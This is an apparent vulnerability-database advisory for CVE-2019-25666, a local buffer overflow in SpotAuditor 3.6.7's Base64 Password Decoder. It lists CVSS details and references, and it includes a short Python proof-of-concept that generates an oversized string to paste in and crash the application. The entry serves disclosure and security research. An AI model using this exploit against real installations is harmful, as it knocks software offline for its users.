CVE-2019-25666

Description

SpotAuditor 3.6.7 contains a local buffer overflow vulnerability in the Base64 Password Decoder component that allows attackers to crash the application. Attackers can supply an oversized Base64 string through the decoder interface to trigger a denial of service condition.

CVSS Details

CVSS Score

6.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nsasoft:spotauditor:*:*:*:*:*:*:*:* - VULNERABLE

SpotAuditor 3.6.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2019-25666
# This script generates a malformed Base64 string to trigger the buffer overflow.

import sys

def generate_payload():
    # Generate a large string of 'A's to overflow the buffer
    # The exact length needed may vary, but a large string triggers the crash.
    payload = "A" * 10000
    return payload

if __name__ == "__main__":
    print("[+] Generating payload for SpotAuditor Base64 Decoder Buffer Overflow...")
    buf = generate_payload()
    print(f"[+] Payload generated (Length: {len(buf)})")
    print("[+] Copy the payload below and paste it into the 'Base64 Password Decoder' field in SpotAuditor:")
    print(buf)
    print("\n[+] Click 'Decode' to trigger the DoS condition.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2019-25666
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2019-25666
[3] CVE Details https://www.cvedetails.com/cve/CVE-2019-25666/
[4] VulDB https://vuldb.com/cve/CVE-2019-25666
[5] http://www.nsauditor.com/order.html
[6] https://www.exploit-db.com/exploits/46313
[7] https://www.vulncheck.com/advisories/spotauditor-denial-of-service-buffer-overflow

Raw JSON Data

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